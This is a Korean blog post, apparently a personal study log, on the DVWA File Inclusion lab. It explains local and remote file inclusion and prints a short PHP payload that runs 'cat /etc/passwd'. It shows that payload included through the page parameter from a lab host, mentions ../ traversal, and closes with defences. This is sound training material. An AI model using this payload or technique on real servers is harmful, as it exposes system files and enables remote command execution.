[DVWA] - File Inclusion

2022. 11. 7. 18:53· Web Hacking/DVWA
목차
  1. ❓ 공격 개요
  2.  
  3. 💻 실습
  4. 🔍 대응방안

❓ 공격 개요

FIle Inclusion 공격 개요

 

> File Inclusion 공격은 주로 PHP 애플리케이션을 대상으로 발생한다.

> PHP는 인클루드 기능을 제공하는데 include() 함수를 이용하여 다른 파일을 소스코드에 직접 포함시킬 수 있는 기능이다.

> 인클루드할 수 있는 파일의 위치에 따라 LFI 와 RFI로 구분된다.

 

🔴 LFI(Local File Inclusion)

>  LFI 취약점을 이용한 공격 방식은 서버 내(로컬) 파일에 접근하는 공격 방식이다. 예를 들어 서버 디렉토리 안에 WebShell을 업로드 한후 File Inclusion 취약점이 있는 페이지를 통해 WebShell을 실행 시킬 수 있고, 서버내에 중요 파일까지 접근을 할수 있다.

 

🔴 RFI(Remote File Inclusion)

> RFI 취약점을 이용한 공격 방식은 공격자가 악성 스크립트 파일을 서버에 전달하여 해당 페이지를 통하여 악성스크립트를 실행하게 하는 공격 방식 입니다. 외부의 파일도 원격으로 인클르두 할 수 있는 RFI 공격이 좀더 위협적이다.

 

💻 실습

메인

 

FIle Inclusion 의 메인화면이다

브라우저의 주소창을 보면 page=include.php 보이는데

page 파라미터로 지정된 include.php 파일이 인클루드되어 표시하도록 되어있다.

 

File1.php

File1.php 링크를 누르면 사용자의 ID와 IP 주소를 출력하는 코드가 인클루드되어 실행된다

주소창을 확인해보면 page 파라미터가 file1.php로 바뀐걸 알 수 있는데

file2.php 와 file3.php 를 눌러보면 그때그때 파라미터값이 변경된다.

 

파일의 경로가 파라미터를 통해 전달되면 File Inclusion 공격이나 directory traversal 공격을 시도할 수 있다.

 

이제 외부 호스트의 파일을 인클루드 해보자

실습에 사용될 코드는 다음과 같다

#RFI.php
<?php


echo 'RFI Attack Code<br>';
system("cat /etc/passwd");

?>

 

코드의 내용은

/etc/passwd 파일의 내용을 요청하는 system 함수를 호출한다.

 

이제 파일을 opt/lampp/htdocs 에 넣어주고 page 파라미터를 변경해보자

> page=http://실습환경 ip주소/RFI.php

 

RFI.php 인클루드

 

RFI.php 파일이 인클루드 되어 실행되어 etc/passwd 의 파일이 성공적으로 노출되었다

php 파일을 수정하면 공격자가 원하는 어떤 명령이든 내릴 수 있게 된다

 

File Inclusion 공격시 파일의 확장자와 상관 없이 파일의 내용이 실행될 수 있는데 

.txt 파일이나 .jpg 파일로도 공격이 가능하다

 

또한

LFI 예시

../ 를 사용해 호스트 내부의 파일 내용을 읽는것도 가능하다

 

🔍 대응방안

1.  외부 사용자가 입력한 파일 이름을 인클루드에 사용하지 않는다

파일이름 검증 예시

 

2.  http://, https://, ../ 와 같은 문자열 차단

> 필요에 따라 외부에서 입력을 받아야 할 경우 입력값에 대한 검증이 필요하다

공격에 사용되는 특정 문자열 차단

 

 

저작자표시 (새창열림)

'Web Hacking > DVWA' 카테고리의 다른 글

[DVWA] - Insecure CAPTCHA  (0) 2022.11.09
[DVWA] - File Upload  (0) 2022.11.08
[DVWA] - CSRF(Cross Site Request Forgery)  (1) 2022.11.06
[DVWA] - Command Injection  (1) 2022.11.02
[DVWA] - Brute Force  (0) 2022.11.02
  1. ❓ 공격 개요
  2.  
  3. 💻 실습
  4. 🔍 대응방안
'Web Hacking/DVWA' 카테고리의 다른 글
  • [DVWA] - Insecure CAPTCHA
  • [DVWA] - File Upload
  • [DVWA] - CSRF(Cross Site Request Forgery)
  • [DVWA] - Command Injection
po3nyo
po3nyo
po3nyo
공부기록장
po3nyo
전체
오늘
어제
  • 분류 전체보기 (208)
    • Programming (13)
      • HTML (0)
      • JavaScript (1)
      • CSS (1)
      • PHP (1)
      • Java (2)
      • Database (7)
      • Python (1)
      • C (0)
    • Web Hacking (28)
      • Web (14)
      • DVWA (12)
      • Bee-Box (0)
    • Reverse Engineernig (11)
      • study (11)
      • lena (0)
    • System Hacking (0)
    • Forensics (0)
    • Cryptography (0)
    • Wargame (58)
      • root-me.org (19)
      • webhacking.kr (0)
      • los.rubiya.kr (0)
      • TryHackMe (0)
      • HackerFactory.co.kr (0)
      • dreamhack.io (0)
      • picoctf.org (27)
      • Hackme.org (11)
      • CTF (1)
    • OS (6)
      • Windows (1)
      • LINUX (5)
    • Algorithm (22)
      • BOJ (22)
      • 기타 (0)
    • Tools (14)
    • Etc (7)
    • 알쓸신잡 (5)
    • 전공 (40)
      • 운영체제 (11)
      • 정보통신 (13)
      • 소프트웨어공학 (9)
      • 컴퓨터 구조 (7)

블로그 메뉴

  • 방명록

공지사항

인기 글

태그

  • dvwa
  • 침투
  • 알쓸신잡
  • dvwa실습
  • 웹해킹
  • sql 데이터타입
  • 모의해킹
  • Python
  • ceate
  • rootme
  • sql 분법
  • Hackmechallenge
  • OWASP
  • rootmeorg
  • 정보통신
  • SQL
  • writeup
  • php
  • wirteup
  • mus1c
  • order by절
  • 정보보안
  • 취약점
  • sql 조건문
  • html
  • picoCTF
  • Infosec
  • 레코드 제한
  • Hackme.org
  • 정보보호

최근 댓글

최근 글

🔒 · Designed By 정상우.v4.2.2
po3nyo
[DVWA] - File Inclusion
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.